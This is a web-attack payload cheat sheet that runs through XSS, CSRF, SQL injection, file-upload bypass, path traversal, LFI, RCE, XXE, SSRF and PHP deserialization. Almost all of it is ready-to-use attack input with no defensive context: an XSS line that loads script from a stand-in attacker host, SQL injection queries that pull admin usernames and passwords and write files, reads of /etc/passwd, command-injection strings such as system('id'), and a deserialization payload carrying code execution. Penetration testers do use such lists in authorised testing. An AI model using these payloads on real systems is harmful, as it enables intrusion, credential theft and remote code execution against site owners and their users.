* Cross-site Scripting (XSS)   
  payload:

1) <script>alert(1)</script>  
  
2)<script>alert(document.cookie)</script>  
  
3)<script src=”https://attacker.com/malicious.js”><script>

4)  
<script>  
var http = new XMLHttpRequest();

var url = 'update\_profile.php';

var params = 'id=1&name=Hacked&email=&update=Update';

http.open('POST', url, true);

http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

http.send(params);  
</script>

* Cross Site Request Forgery (CSRF)

<form action="post.php" method="post" enctype="multipart/form-data">

<table><tr>

<td><label>Enter your name </label></td>

<td><input type="text" name="name"></td>

</tr><tr>

<td><label>Enter descriptions </label></td>

<td><textarea name="descriptions"></textarea></td>

</tr><tr><td></td>

<td><input type="submit" name="submit"></td></tr></table></form>

* SQL Injection (SQLI)

#Finding column:  
order by ***n*** -- -  
  
#Union column (example 4cols) :   
union select 1,2,3,4-- -  
union all select 1,2,3,4-- -  
  
#Get mysql version/database/user:  
union select 1,2,3,version()-- -  
union select 1,2,3,database()-- -  
union select 1,2,3,user()-- -  
  
#Get tables name:  
union select 1,2, group\_concat(table\_name),4 from information\_schema.tables where table\_schema=database()-- -  
  
#Get columns name from specific table:  
union select 1,2, group\_concat(column\_name),4 from information\_schema.columns where table\_name=0x61646D696E5F6C6F67696E-- -  
  
#Extract data:  
union select 1,2,concat(username,0x3C62723E,password,0x3C62723E) ,4 from admin\_login-- -  
  
#Export into file:  
union select 1,2,3,4 into outfile ‘***document\_root\_path’***-- -

* Unauthenticated/Authenticated File Upload

#Bypass Upoad with .htaccess  
  
<Files test.txt>

AddType application/x-httpd-php .txt

</Files>

<Files test.txt>

ForceType application/x-httpd-php

</Files>

* Path/Directory Traversal

Put ../  
Example: ../../../../another/directory/file

* Local File Inclusion (LFI)

#Example payload  
?file=../../image/shell.jpg  
?file=../../../../../../etc/passwd  
  
#PHP Wrapper  
?file=php://filter/convert.base64-encode/resource=../../../target/file.php

* Remote Code Execution (RCE)

#Example payload  
#eval  
ahmad@albab.gov.my';system('id');//  
  
#system , shell\_exec, exec  
‘;[rce\_payload];#  
‘;whoami;#

* XML Entities Injection (XXE)

#Initial payload  
<Welcome><Intro>Hello :</Intro><name>hello</name></Welcome>  
  
#Local File Disclosure  
<!DOCTYPE attack [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">  
<Welcome><Intro>Hello :</Intro><name>&xxe;</name></Welcome>  
  
<!DOCTYPE attack [<!ENTITY xxe SYSTEM "file:///etc/passwd">  
<Welcome><Intro>Hello :</Intro><name>&xxe;</name></Welcome>  
  
#SSRF  
<!DOCTYPE attack [<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">  
<Welcome><Intro>Hello :</Intro><name>&xxe;</name></Welcome>

* Server Side Request Forgery (SSRF)

#Example payload  
?url=file:///etc/passwd  
  
#port scan  
?url=127.0.0.1:3306 // may use ::1 / 0.0.0.0  
?url=127.0.0.1:22 // may use ::1 / 0.0.0.0  
  
#PHP Wrapper  
?url=php://filter/convert.base64-encode/resource=../../../target/file.php

* PHP Object Injection (Deserialization)

#initial payload

O:7:"Display":2:{s:4:"name";N;s:6:"status";N;}  
  
#Preparing payload  
O:7:"Display":2:{s:4:"name";s:5:"hello";s:6:"status";s:1:"1";}  
  
#Finalize payload (after defining other vulnerability, example of RCE)  
O:7:"Display":2:{s:4:"name";s:17:"’;system(‘id’);//";s:6:"status";s:1:"1";}

Visit this link for more payload :

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master